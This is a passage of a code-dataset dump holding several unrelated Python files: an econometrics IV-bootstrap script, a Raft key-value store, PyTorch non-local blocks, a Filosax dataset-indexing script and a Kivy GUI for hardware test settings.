assert_pending_trusltines_migrated()\n","sub_path":"tests/currency_network/test_migrate_network_tool.py","file_name":"test_migrate_network_tool.py","file_ext":"py","file_size_in_byte":10343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"130680412","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 1 16:42:13 2018\n\n@author: liujizhou\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom statsmodels.sandbox.regression.gmm import IV2SLS \nimport sys\nfrom sklearn.utils import resample\nimport matplotlib.pyplot as plt\n\ndata = pd.read_stata('Segregation_Alesina_Zhuravskaya_x_country.dta')\ndiversity = 0\n\nif diversity == 0:\n \n control_labels = ['ethnicity_I', 'lnpopulation', 'lnGDP_pc', 'protestants', 'muslims', 'catholics',\\\n 'latitude', 'LOEnglish', 'LOGerman', 'LOSocialist', 'LOScandin', 'democ', 'mtnall']\n controls = data[control_labels].values\n y = data['RulLaw'].values\n ethnicity_av_size_reg = data['ethnicity_av_size_reg'].values\n iv = data['ethnicity_instrument_C_thresh'].values\n endog = data['ethnicity_C2'].values\nelif diversity == 1:\n control_labels = ['religion_I', 'lnpopulation', 'lnGDP_pc', 'protestants', 'muslims', 'catholics',\\\n 'latitude', 'LOEnglish', 'LOGerman', 'LOSocialist', 'LOScandin', 'democ', 'mtnall']\n controls = data[control_labels].values\n y = data['RulLaw'].values\n ethnicity_av_size_reg = data['religion_av_size_reg'].values\n iv = data['religion_instrument_C_thresh'].values\n endog = data['religion_C2'].values\n# delete nan rows\nN = data.shape[0]\nlist_dele = []\nfor i in range(N):\n if np.isnan(controls[i,0]) or np.isnan(endog[i]):\n list_dele.append(i)\ncontrols = np.delete(controls, list_dele, axis=0)\nn = controls.shape[0]\nendog = np.reshape(np.delete(endog, list_dele, axis=0),(n,1))\ny = np.reshape(np.delete(y, list_dele, axis=0),(n,1))\niv = np.reshape(np.delete(iv, list_dele, axis=0),(n,1))\nethnicity_av_size_reg = np.reshape(np.delete(ethnicity_av_size_reg, list_dele, axis=0),(n,1))\n\n# exog and endog and instrument\nconst = np.ones((n,1))\ninstrument = np.append(np.append(iv,controls,axis=1),ethnicity_av_size_reg, axis=1)\ninstrument = np.append(instrument, const, axis=1)\nexog = np.append(np.append(endog, controls,axis=1),ethnicity_av_size_reg, axis=1)\nexog = np.append(exog, const, axis=1)\n\n# exog = endog+controls+ethnicity_av_size_reg + constant\n# instrument = iv+controls+ethnicity_av_size_reg + constant\n\n#============Helper Functions=============\n\ndef bootstrap_resample(X, Y, Z,n=None):\n \"\"\" Bootstrap resample an array_like\n Parameters\n ----------\n X : array_like\n data to resample\n n : int, optional\n length of resampled array, equal to len(X) if n==None\n Results\n -------\n returns X_resamples\n \"\"\"\n if n == None:\n n = len(X)\n \n resample_i = np.floor(np.random.rand(n)*X.shape[0]).astype(int)\n X_resample = X[resample_i]\n Y_resample = Y[resample_i]\n Z_resample = Z[resample_i]\n \n return X_resample, Y_resample, Z_resample\n\n\n# 1. Replicate one of the instrumental variables variables regressions\ndef iv(y, exog, instrument):\n '''\n Replicate the same iv regression from the paper\n '''\n ivreg = IV2SLS(y, exog, instrument)\n result = ivreg.fit()\n beta = result.params[0]\n smry = result.summary\n ylabel = ['RulLaw']\n xlabel = ['Segregation', 'Fractional', 'ln(popul)', \\\n 'ln(GDP)', 'ln(size)', 'Protestants'\\\n ,'Muslims', 'Catholics', 'Latitude', 'English', \\\n 'German', 'Socialist', 'Scandinavian', \\\n 'Democratic', 'Mountains','const']\n \n orig_stdout = sys.stdout\n sys.stdout = open(\"table.txt\",'w')\n print(smry(yname = ylabel, xname = xlabel))\n sys.stdout.close()\n sys.stdout=orig_stdout \n \n p = result.pvalues\n pvalue_0 = p[0]\n t = result.tvalues[0]\n se = beta/t\n \n return beta, pvalue_0, se\n\nbeta, pvalue_0, se = iv(y, exog, instrument)\n\n# 2. regular bootstrap and the pivotal bootstrap\n\ndef bootstrap(y, exog, instrument):\n '''\n Construct a 95% confidence interval based on the regular bootstrap and\n the pivotal bootstrap based on the t-statistic. \n Compare the p-values for all three standard errors.\n '''\n # Original beta\n N = y.shape[0]\n beta, pvalue_0, se = iv(y, exog, instrument)\n # Bootstap\n B = 10000\n beta_bootstrap = []\n SE = []\n i = 0\n while (i < B):\n y_b, exog_b, instrument_b = bootstrap_resample(y, exog, instrument, n=N)\n ivreg = IV2SLS(y_b, exog_b, instrument_b)\n \"\"\"\n try:\n result = ivreg.fit()\n #beta_b, pvalue_b, se_b = iv(y_b, exog_b, instrument_b)\n beta_b = result.params[0]\n t = result.tvalues[0]\n se_b = beta_b/t\n beta_bootstrap.append(beta_b)\n SE.append(se_b)\n i = i + 1\n except:\n i = i\n \"\"\"\n \n result = ivreg.fit()\n #beta_b, pvalue_b, se_b = iv(y_b, exog_b, instrument_b)\n beta_b = result.params[0]\n t = result.tvalues[0]\n se_b = beta_b/t\n beta_bootstrap.append(beta_b)\n SE.append(se_b)\n i = i + 1\n if i % 1000 == 0:\n print(\"bootstrap: {}\".format(i))\n\n \n \n # regular boostrap\n # (1) confidence interval\n beta_bootstrap = np.array(beta_bootstrap)\n SE = np.array(SE)\n confide_0 = np.percentile(beta_bootstrap, 2.5)\n confide_1 = np.percentile(beta_bootstrap, 97.5)\n print(\"The confidence interval of regular bootstrap is: [{}, {}] (quantile).\\n\"\\\n .format(confide_0, confide_1))\n se_b = np.sqrt(np.var(beta_bootstrap)/(N-15))\n print(\"Sample estimates of the standard error of beta: {}.\\n \".format(se_b))\n beta_mean = np.mean(beta_bootstrap)\n confide_0_a = beta_mean - 1.96*se_b\n confide_1_a = beta_mean + 1.96*se_b\n print(\" [{}. {}] (boostrap se).\\n\"\\\n .format(confide_0_a, confide_1_a))\n # (2) p value\n diff = np.square((beta_bootstrap - beta))\n threshold = (beta/se)**2\n count = np.zeros((B,))\n count[diff > threshold] = 1\n pvalue_b = np.mean(count)\n print(\"The pvalue of regular bootstrap is: {}\\n\".format(pvalue_b))\n \n # pivatol boostrap\n # (1) confidence interval\n t_b = np.divide(beta_bootstrap - beta, SE)\n c0 = np.percentile(t_b, 2.5)\n c1 = np.percentile(t_b, 97.5)\n confide_p0 = beta - c1*se_b\n confide_p1 = beta - c0*se_b\n print(\"The confidence interval of pivatol bootstrap is: [{}, {}] (quantile).\\n\"\\\n .format(confide_p0, confide_p1))\n \n # (2) p value\n \n t_b2 = np.square(t_b)\n count = np.zeros((B,))\n count[t_b2 > threshold] = 1\n pvalue_pivatol = np.mean(count)\n print(\"The pvalue of pivatol bootstrap is: {}\\n\".format(pvalue_pivatol))\n \n return beta_bootstrap, SE\n\n\"\"\"\nbeta_bootstrap, SE = bootstrap(y, exog, instrument)\nconfide1 = np.percentile(beta_bootstrap, 1)\nconfide2 = np.percentile(beta_bootstrap, 99)\nbeta_tmp = beta_bootstrap[beta_bootstrapconfide1]\nplt.hist(beta_tmp2,bins=30)\n\"\"\"\n","sub_path":"PS6/Econ292_ps6.py","file_name":"Econ292_ps6.py","file_ext":"py","file_size_in_byte":6923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"256258031","text":"# -*- coding:utf-8 -*-\n\nimport sys, os, json\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nimport gevent\nfrom gevent import monkey\nfrom corgi.log import STD_LOG as LOG\n\n# monkey.patch_all()\n\nfrom gevent.lock import BoundedSemaphore\nfrom raft.node import RAFTNode, LogEntryAction\nfrom corgi.exception import BaseException\n\n\nclass KeyError(BaseException):\n msg_template = 'key {} is invalid.'\n error_id = 'key_error'\n\n def __init__(self, key):\n super(KeyError, self).__init__(self.error_id, self.msg_template.format(key))\n\n\nclass MemStorage(object):\n def __init__(self, node_id, node_addr, cluster_addr=None):\n self.node = RAFTNode(node_id, node_addr)\n self.records = dict()\n self.log_entry_c = self.node.apply_replication_log_c\n self.cluster_addr = cluster_addr\n self.lock = BoundedSemaphore(value=1)\n self.split_symbol = '/'\n\n def start(self):\n if self.cluster_addr is None:\n self.node.init_peers()\n if self.cluster_addr is not None:\n self.node.join(self.cluster_addr)\n self.node.start()\n gevent.spawn(self.apply_log_entry)\n\n def get(self, key):\n # 如果正在将 log entry 应用到状态机中,就需要阻塞\n with self.lock:\n if self.split_symbol not in key:\n return self.records[key]\n real_keys = key.split(self.split_symbol)\n temp = self.records\n for rk in real_keys:\n if rk not in temp:\n raise KeyError(key)\n temp = temp[rk]\n return temp\n\n def set(self, key, value):\n action = LogEntryAction.SET\n self.node.replicate(action, key, value)\n\n def delete(self, key):\n # 尽量避免删除一个不存在的key的问题(这里的检查不能完全避免,storage应该支持删除一个不存在的key)\n self.get(key)\n action = LogEntryAction.DELETE\n self.node.replicate(action, key, None)\n\n def _set(self, key, value):\n with self.lock:\n if self.split_symbol not in key:\n self.records[key] = value\n return\n real_keys = key.split(self.split_symbol)\n temp = self.records\n for rk in real_keys[:-1]:\n if rk not in temp:\n temp[rk] = dict()\n temp = temp[rk]\n temp[real_keys[-1]] = value\n\n def _delete(self, key):\n with self.lock:\n if self.split_symbol not in key:\n self.records.pop(key)\n return\n real_keys = key.split(self.split_symbol)\n temp = self.records\n for rk in real_keys[:-1]:\n if rk not in temp:\n raise KeyError(key)\n temp = temp[rk]\n temp.pop(key)\n\n def apply_log_entry(self):\n while True:\n msg = self.log_entry_c.recv()\n entry = json.loads(msg)\n if entry['action'] == LogEntryAction.SET:\n self._set(entry['key'], entry['value'])\n if entry['action'] == LogEntryAction.DELETE:\n try:\n self._delete(entry['key'])\n except KeyError:\n LOG.warn('try to delete a non-existed key({})'.format(entry['key']))\n","sub_path":"storage/mem_storage.py","file_name":"mem_storage.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"313603599","text":"from sklearn.svm import LinearSVC\nfrom sklearn.grid_search import GridSearchCV\n\ngrid = GridSearchCV(LinearSVC(), {'C': [1.0, 2.0, 4.0, 8.0]})\ngrid.fit(X_train, y_train)\n\ngrid.best_score_\ngrid.best_params_\nmodel = grid.best_estimator_\nmodel.fit(X_train, y_train)\n","sub_path":"ml/4_class_svm_linear.py","file_name":"4_class_svm_linear.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"258667267","text":"# Adapted from https://github.com/AlexHex7/Non-local_pytorch\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom ..utils import get_norm_1d, get_norm_2d, get_norm_3d\n\n__all__ = [\n 'NonLocalBlock1D',\n 'NonLocalBlock2D',\n 'NonLocalBlock3D',\n]\n\n\nclass _NonLocalBlockND(nn.Module):\n def __init__(self, in_channels, inter_channels=None, dimension=3,\n sub_sample=True, norm_layer=True, norm_mode='bn'):\n super(_NonLocalBlockND, self).__init__()\n\n assert dimension in [1, 2, 3]\n\n self.dimension = dimension\n self.sub_sample = sub_sample\n\n self.in_channels = in_channels\n self.inter_channels = inter_channels\n\n if self.inter_channels is None:\n self.inter_channels = in_channels // 2\n if self.inter_channels == 0:\n self.inter_channels = 1\n\n if dimension == 3:\n conv_nd = nn.Conv3d\n max_pool_layer = nn.MaxPool3d(kernel_size=3, stride=2)\n get_norm_func = get_norm_3d\n elif dimension == 2:\n conv_nd = nn.Conv2d\n max_pool_layer = nn.MaxPool2d(kernel_size=3, stride=2)\n get_norm_func = get_norm_2d\n else:\n conv_nd = nn.Conv1d\n max_pool_layer = nn.MaxPool1d(kernel_size=3, stride=2)\n get_norm_func = get_norm_1d\n\n self.g = conv_nd(in_channels=self.in_channels, out_channels=self.inter_channels,\n kernel_size=1, stride=1, padding=0)\n\n if norm_layer:\n self.W = nn.Sequential(\n conv_nd(in_channels=self.inter_channels, out_channels=self.in_channels,\n kernel_size=1, stride=1, padding=0),\n get_norm_func(norm_mode, self.in_channels)\n )\n nn.init.constant_(self.W[1].weight, 0)\n nn.init.constant_(self.W[1].bias, 0)\n else:\n self.W = conv_nd(in_channels=self.inter_channels, out_channels=self.in_channels,\n kernel_size=1, stride=1, padding=0)\n nn.init.constant_(self.W.weight, 0)\n nn.init.constant_(self.W.bias, 0)\n\n self.theta = conv_nd(in_channels=self.in_channels, out_channels=self.inter_channels,\n kernel_size=1, stride=1, padding=0)\n self.phi = conv_nd(in_channels=self.in_channels, out_channels=self.inter_channels,\n kernel_size=1, stride=1, padding=0)\n\n if sub_sample:\n self.g = nn.Sequential(self.g, max_pool_layer)\n self.phi = nn.Sequential(self.phi, max_pool_layer)\n\n def forward(self, x):\n\n batch_size = x.size(0)\n\n g_x = self.g(x).view(batch_size, self.inter_channels, -1)\n g_x = g_x.permute(0, 2, 1)\n\n theta_x = self.theta(x).view(batch_size, self.inter_channels, -1)\n theta_x = theta_x.permute(0, 2, 1)\n phi_x = self.phi(x).view(batch_size, self.inter_channels, -1)\n f = torch.matmul(theta_x, phi_x)\n f_div_C = F.softmax(f, dim=-1)\n\n y = torch.matmul(f_div_C, g_x)\n y = y.permute(0, 2, 1).contiguous()\n y = y.view(batch_size, self.inter_channels, *x.size()[2:])\n W_y = self.W(y)\n z = W_y + x\n\n return z\n\n\nclass NonLocalBlock1D(_NonLocalBlockND):\n def __init__(self, in_channels, inter_channels=None,\n sub_sample=True, norm_layer=True, norm_mode='bn'):\n super(NonLocalBlock1D, self).__init__(in_channels, inter_channels,\n dimension=1, sub_sample=sub_sample,\n norm_layer=norm_layer, norm_mode=norm_mode)\n\n\nclass NonLocalBlock2D(_NonLocalBlockND):\n def __init__(self, in_channels, inter_channels=None,\n sub_sample=True, norm_layer=True, norm_mode='bn'):\n super(NonLocalBlock2D, self).__init__(in_channels, inter_channels,\n dimension=2, sub_sample=sub_sample,\n norm_layer=norm_layer, norm_mode=norm_mode)\n\n\nclass NonLocalBlock3D(_NonLocalBlockND):\n def __init__(self, in_channels, inter_channels=None,\n sub_sample=True, norm_layer=True, norm_mode='bn'):\n super(NonLocalBlock3D, self).__init__(in_channels, inter_channels,\n dimension=3, sub_sample=sub_sample,\n norm_layer=norm_layer, norm_mode=norm_mode)\n","sub_path":"connectomics/model/block/non_local.py","file_name":"non_local.py","file_ext":"py","file_size_in_byte":4501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"501063618","text":"import argparse\nimport json\nimport os\nfrom pathlib import Path\nfrom mirdata.validate import md5\n\nBACKING_FOLDER = \"Backing\"\nSAX_FOLDER = \"Participant \"\nFULL_TRACKS = 48\nLITE_TRACKS = 5\nFULL_PARTICIPANTS = 5\nLITE_PARTICIPANTS = 2\n\n#FILOSAX_INDEX_PATH = \"/mir_datasets/Filosax_Lite/Scripts\"\nFILOSAX_INDEX_PATH = \"/mir_datasets/Filosax_Lite/Scripts\"\n\ndef tuple_for_file(file_path):\n relative_path = Path(file_path.parts[-3]) / file_path.parts[-2] / file_path.parts[-1]\n return (relative_path.as_posix(), md5(file_path))\n\ndef save_json(file_name, save_file, version_num):\n #save_path = Path(FILOSAX_INDEX_PATH) / (\"%s_%s.json\" % (file_name, version_num))\n save_path = Path(filosax_path) / (\"%s_%s.json\" % (file_name, version_num))\n with open(save_path, \"w\") as fhandle:\n json.dump(save_file, fhandle, indent=2)\n\ndef get_backing_files(track_id, filosax_path, include_checksum=True):\n backing_path = Path(filosax_path) / BACKING_FOLDER / track_id\n a = backing_path / \"Bass_Drums.wav\"\n b = backing_path / \"Piano_Drums.wav\"\n c = backing_path / \"annotations.jams\"\n if (include_checksum):\n return (backing_path, tuple_for_file(a), tuple_for_file(b), tuple_for_file(c))\n return (backing_path, a, b, c)\n \ndef get_sax_files(sax_num, track_id, filosax_path, include_checksum=True):\n sax_folder = SAX_FOLDER + str(sax_num + 1)\n sax_path = Path(filosax_path) / sax_folder / track_id\n a = sax_path / \"Sax.wav\"\n b = sax_path / \"annotations.json\"\n c = sax_path / \"Sax.mid\"\n d = sax_path / \"Sax.musicxml\"\n e = sax_path / \"Sax.pdf\"\n if (include_checksum):\n return (sax_path, tuple_for_file(a), tuple_for_file(b), tuple_for_file(c), tuple_for_file(d), tuple_for_file(e))\n return (sax_path, a, b, c, d, e)\n\ndef get_backing_names(multi_name):\n a_ = multi_name + \"_bass_drums\"\n b_ = multi_name + \"_piano_drums\"\n return a_, b_\n\ndef check_files(track_id, filosax_path):\n backing_path, a, b, c = get_backing_files(track_id, filosax_path, include_checksum=False)\n \n # Check if backing folder exists\n if not backing_path.exists():\n raise OSError(\"Error: folder structure incomplete. '%s' folder missing from 'Backing' folder.\" % track_id)\n \n # Check if backing files exist\n if (not a.exists()) or (not b.exists()) or (not c.exists()):\n raise OSError(\"Error: files missing from %s folder in 'Backing'.\" % track_id)\n\n # Check if sax folders and files exist\n for sax_num in range(FULL_PARTICIPANTS):\n sax_folder = SAX_FOLDER + str(sax_num + 1)\n (sax_path, a, b, c, d, e) = get_sax_files(sax_num, track_id, filosax_path, include_checksum=False)\n if not sax_path.exists():\n raise OSError(\"Error: folder structure incomplete. '%s' folder missing from '%s' folder.\" % (track_id, sax_folder))\n if (not a.exists()) or (not b.exists()) or (not c.exists()) or (not d.exists()) or (not e.exists()):\n raise OSError(\"Error: files missing from '%s' folder in '%s'.\" % (track_id, sax_folder))\n \ndef make_filosax_indexes(filosax_path, full_version, lite_version):\n print(\"Making Filosax indexes. Warning: this can take around 30 mins!\")\n \n # Makes 4 indexes: full, full_sax, lite, lite_sax\n full_index = {\"version\": full_version}\n full_sax_index = {\"version\": full_version}\n lite_index = {\"version\": lite_version}\n lite_sax_index = {\"version\": lite_version}\n \n tracks_full, tracks_full_sax, tracks_lite, tracks_lite_sax = ({} for i in range(4))\n multitracks_full, multitracks_full_sax, multitracks_lite, multitracks_lite_sax = ({} for i in range(4))\n \n # Iterate over tracks\n for track_num in range(FULL_TRACKS):\n print(\".\", end = '')\n track_id = \"%.2d\" % (track_num + 1)\n check_files(track_id, filosax_path)\n multi_name = \"multitrack_\" + track_id\n track_names_full, track_names_full_sax, track_names_lite, track_names_lite_sax = ([] for i in range(4))\n \n # Process backing files\n _, a, b, backing_annot = get_backing_files(track_id, filosax_path)\n a_, b_ = get_backing_names(multi_name)\n track_names_full.extend([a_, b_])\n tuplet_none = (None, None)\n tracks_full.update({a_: {\"audio\": a, \"annotation\": tuplet_none, \"midi\": tuplet_none, \"musicXML\": tuplet_none, \"pdf\": tuplet_none}})\n tracks_full.update({b_: {\"audio\": b, \"annotation\": tuplet_none, \"midi\": tuplet_none, \"musicXML\": tuplet_none, \"pdf\": tuplet_none}})\n\n if (track_num < LITE_TRACKS):\n track_names_lite.extend([a_, b_])\n tracks_lite.update({a_: {\"audio\": a, \"annotation\": tuplet_none, \"midi\": tuplet_none, \"musicXML\": tuplet_none, \"pdf\": tuplet_none}})\n tracks_lite.update({b_: {\"audio\": b, \"annotation\": tuplet_none, \"midi\": tuplet_none, \"musicXML\": tuplet_none, \"pdf\": tuplet_none}})\n \n # Iterate over participants\n for sax_num in range(FULL_PARTICIPANTS):\n (sax_path, a, b, c, d, e) = get_sax_files(sax_num, track_id, filosax_path)\n \n # Process sax files\n track_name = multi_name + \"_sax_\" + str(sax_num+1)\n track_dict = {\"audio\": a, \"annotation\": b, \"midi\": c, \"musicXML\": d, \"pdf\": e}\n track_names_full.append(track_name)\n track_names_full_sax.append(track_name)\n tracks_full.update({track_name: track_dict})\n tracks_full_sax.update({track_name: track_dict})\n if (track_num < LITE_TRACKS) and (sax_num < LITE_PARTICIPANTS):\n track_names_lite.append(track_name)\n track_names_lite_sax.append(track_name)\n tracks_lite.update({track_name: track_dict})\n tracks_lite_sax.update({track_name: track_dict})\n \n # Make multitrack entries\n multitracks_full[multi_name] = {\"tracks\": track_names_full, \"annotations\": backing_annot}\n multitracks_full_sax[multi_name] = {\"tracks\": track_names_full_sax, \"annotations\": backing_annot}\n \n if (track_num < LITE_TRACKS):\n multitracks_lite[multi_name] = {\"tracks\": track_names_lite, \"annotations\": backing_annot}\n multitracks_lite_sax[multi_name] = {\"tracks\": track_names_lite_sax, \"annotations\": backing_annot}\n \n # Compile indexes x4\n full_index.update({\"tracks\": tracks_full, \"multitracks\": multitracks_full})\n full_sax_index.update({\"tracks\": tracks_full_sax, \"multitracks\": multitracks_full_sax})\n lite_index.update({\"tracks\": tracks_lite, \"multitracks\": multitracks_lite})\n lite_sax_index.update({\"tracks\": tracks_lite_sax, \"multitracks\": multitracks_lite_sax})\n \n # Save as JSON\n save_json(\"filosax_index_full\", full_index, full_version)\n save_json(\"filosax_index_full_sax\", full_sax_index, full_version)\n save_json(\"filosax_index_lite\", lite_index, lite_version)\n save_json(\"filosax_index_lite_sax\", lite_sax_index, lite_version)\n \n print(\"\")\n print(\"Indexes created.\")\n\ndef main(args):\n make_filosax_indexes(args.filosax_data_path, args.full_version, args.lite_version)\n\nif __name__ == \"__main__\":\n PARSER = argparse.ArgumentParser(description=\"Make Filosax index files.\")\n PARSER.add_argument(\"filosax_data_path\", type=str, help=\"Path to Filosax data folder.\")\n PARSER.add_argument(\"full_version\", type=str, help=\"full index version\")\n PARSER.add_argument(\"lite_version\", type=str, help=\"lite index version\")\n\n main(PARSER.parse_args()) \n","sub_path":"scripts/make_filosax_index.py","file_name":"make_filosax_index.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"276077323","text":"import common_variables\r\nfrom kivy.uix.gridlayout import GridLayout\r\nfrom kivy.uix.button import Button\r\nfrom kivy.uix.label import Label\r\nfrom kivy.uix.textinput import TextInput\r\nfrom kivy.properties import ListProperty\r\nfrom kivy.graphics.instructions import Canvas\r\nfrom kivy.graphics import Color\r\nfrom kivy.core.window import Window\r\nfrom kivy.uix.textinput import TextInput\r\n#import yaml_writer\r\nimport yaml\r\nimport visa\r\nfrom pymeasure.instruments.keithley import Keithley2400\r\nfrom time import sleep\r\n\r\nclass Select_and_launch_tests(GridLayout):\r\n Window.clearcolor = (1, 1, 1, 1) #white background\r\n Window.size = (2100, 900) #positioning and size\r\n Window.top = 100\r\n Window.left = 100\r\n # conf=yaml.YAMLObject()\r\n red = ListProperty([1,0,0,1])\r\n green = ListProperty([0,1,0,1])\r\n yellow = ListProperty([1,1,0,1])\r\n gray= ListProperty([0.5,0.5,0.5,1])\r\n \"\"\"col_chip0=ListProperty([0.5,0.5,0.5,1])\r\n col_chip1=ListProperty([0.5,0.5,0.5,1])\r\n col_chip2=ListProperty([0.5,0.5,0.5,1])\r\n col_chip3=ListProperty([0.5,0.5,0.5,1])\r\n col_chip0RM=ListProperty([0.5,0.5,0.5,1])\r\n col_chip1RM=ListProperty([0.5,0.5,0.5,1])\r\n col_chip2RM=ListProperty([0.5,0.5,0.5,1])\r\n col_chip3RM=ListProperty([0.5,0.5,0.5,1])\r\n col_chip0SCA=ListProperty([0.5,0.5,0.5,1])\r\n col_chip1SCA=ListProperty([0.5,0.5,0.5,1])\r\n col_chip2SCA=ListProperty([0.5,0.5,0.5,1])\r\n col_chip3SCA=ListProperty([0.5,0.5,0.5,1])\r\n col_chip0TO=ListProperty([0.5,0.5,0.5,1])\r\n col_chip1TO=ListProperty([0.5,0.5,0.5,1])\r\n col_chip2TO=ListProperty([0.5,0.5,0.5,1])\r\n col_chip3TO=ListProperty([0.5,0.5,0.5,1])\r\n col_DUT=ListProperty([0.5,0.5,0.5,1])\"\"\"\r\n\r\n config = None\r\n\r\n def __init__(self,runtest,config):\r\n super(Select_and_launch_tests, self).__init__()\r\n self.config = config\r\n self.my_run=runtest\r\n self.ids.ev.text=str(config.default_options['daq_options']['nEvent'])\r\n self.ids.acqtype.text=config.default_options['daq_options']['acquisitionType']\r\n self.ids.inputch.text=str(*config.default_options['daq_options']['channelIds'])\r\n self.ids.injDAC.text=str(config.default_options['daq_options']['injectionDAC'])\r\n self.ids.delay.text=str(config.default_options['daq_options']['pulseDelay'])\r\n self.ids.DUT.text=str(config.default_options['glb_options']['moduleNumber'])\r\n self.ids.Hardwaretype.text=str(config.default_options['glb_options']['type_of_hardware'])\r\n self.ids.Manufacturer.text=str(config.default_options['glb_options']['manufacturer'])\r\n self.ids.gpib.text=str(config.iv_variables['gpib_adr'])\r\n self.ids.vmax.text=str(config.iv_variables['vMax'])\r\n self.ids.compcurr.text=str(config.iv_variables['compCurr'])\r\n self.ids.stepsize.text=str(config.iv_variables['stepSize'])\r\n self.ids.ivdelay.text=str(config.iv_variables['delay'])\r\n self.ids.hv.text=str(config.default_options['daq_options']['hv'])\r\n if (self.config.default_options['testswitches']['RollMask_full_ON']==True):\r\n print ('Test Full RollMask active')\r\n self.ids.btnRM.background_color= 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full RollMask inactive')\r\n self.ids.btnRM.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n if (self.config.default_options['testswitches']['ToT_ToA_full_ON']==True):\r\n print ('Test Full TOA TOT active')\r\n self.ids.btnTO.background_color= 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full TOA TOT inactive')\r\n self.ids.btnTO.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n if (self.config.default_options['testswitches']['SCA_full_ON']==True):\r\n print ('Test Full SCA active')\r\n self.ids.btnSCA.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full SCA inactive')\r\n self.ids.btnSCA.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n if (self.config.default_options['testswitches']['printUnusualData_ON']==True):\r\n print ('Test Print unusual Data active')\r\n self.ids.btnPRINT.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Print unusual Data inactive')\r\n self.ids.btnPRINT.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n if (self.config.default_options['testswitches']['IV_curve']==True):\r\n print ('IV-curve active')\r\n self.ids.btnIV.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('IV-curve inactive')\r\n self.ids.btnIV.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n if (config.default_options['daq_options']['externalChargeInjection']==True):\r\n self.ids.btnINJ.text='ON'\r\n print('Injection ON')\r\n else:\r\n self.ids.btnINJ.text='OFF'\r\n print('Injection OFF')\r\n\r\n#below : change the functions to change the text in the buttons/buttons colors\r\n def test_full_RollMask(self,obj):\r\n self.config.default_options['testswitches']['RollMask_full_ON'] = not self.config.default_options['testswitches']['RollMask_full_ON']\r\n if (self.config.default_options['testswitches']['RollMask_full_ON']==True):\r\n print ('Test Full RollMask active')\r\n self.ids.btnRM.background_color= 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full RollMask inactive')\r\n self.ids.btnRM.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n\r\n def test_full_ToT_ToA(self,obj):\r\n self.config.default_options['testswitches']['ToT_ToA_full_ON']=not self.config.default_options['testswitches']['ToT_ToA_full_ON']\r\n if (self.config.default_options['testswitches']['ToT_ToA_full_ON']==True):\r\n print ('Test Full TOA TOT active')\r\n self.ids.btnTO.background_color= 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full TOA TOT inactive')\r\n self.ids.btnTO.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n\r\n def test_full_SCA(self,obj):\r\n self.config.default_options['testswitches']['SCA_full_ON']=not self.config.default_options['testswitches']['SCA_full_ON']\r\n if (self.config.default_options['testswitches']['SCA_full_ON']==True):\r\n print ('Test Full SCA active')\r\n self.ids.btnSCA.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Full SCA inactive')\r\n self.ids.btnSCA.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n\r\n def test_printUnusualData(self,obj):\r\n self.config.default_options['testswitches']['printUnusualData_ON']=not self.config.default_options['testswitches']['printUnusualData_ON']\r\n if (self.config.default_options['testswitches']['printUnusualData_ON']==True):\r\n print ('Test Print unusual Data active')\r\n self.ids.btnPRINT.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('Test Print unusual Data inactive')\r\n self.ids.btnPRINT.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n\r\n def test_iv_curve(self,obj):\r\n self.config.default_options['testswitches']['IV_curve']=not self.config.default_options['testswitches']['IV_curve']\r\n if (self.config.default_options['testswitches']['IV_curve']==True):\r\n print ('IV-curve active')\r\n self.ids.btnIV.background_color = 0.2, 0.6, 0, 1 #light green\r\n else:\r\n print ('IV-curve inactive')\r\n self.ids.btnIV.background_color= 0.5, 0.5, 0.5, 1 #gray\r\n\r\n def do_injection(self,obj):\r\n if (self.ids.btnINJ.text=='OFF'):\r\n self.ids.btnINJ.text='ON'\r\n self.config.default_options['daq_options']['externalChargeInjection']=True\r\n print('Injection ON')\r\n else:\r\n self.ids.btnINJ.text='OFF'\r\n self.config.default_options['daq_options']['externalChargeInjection']=False\r\n print('Injection OFF')\r\n\r\n def launch_tests(self,obj):\r\n self.config.default_options['daq_options']['nEvent']=int(self.ids.ev.text)\r\n self.config.default_options['daq_options']['acquisitionType']=self.ids.acqtype.text\r\n self.config.default_options['daq_options']['injectionDAC']=int(self.ids.injDAC.text)\r\n self.config.default_options['daq_options']['pulseDelay']=int(self.ids.delay.text)\r\n self.config.default_options['glb_options']['moduleNumber']=int(self.ids.DUT.text)\r\n self.config.default_options['glb_options']['type_of_hardware']=self.ids.Hardwaretype.text\r\n self.config.default_options['glb_options']['manufacturer']=self.ids.Manufacturer.text\r\n self.config.iv_variables['gpib_adr']=int(self.ids.gpib.text)\r\n 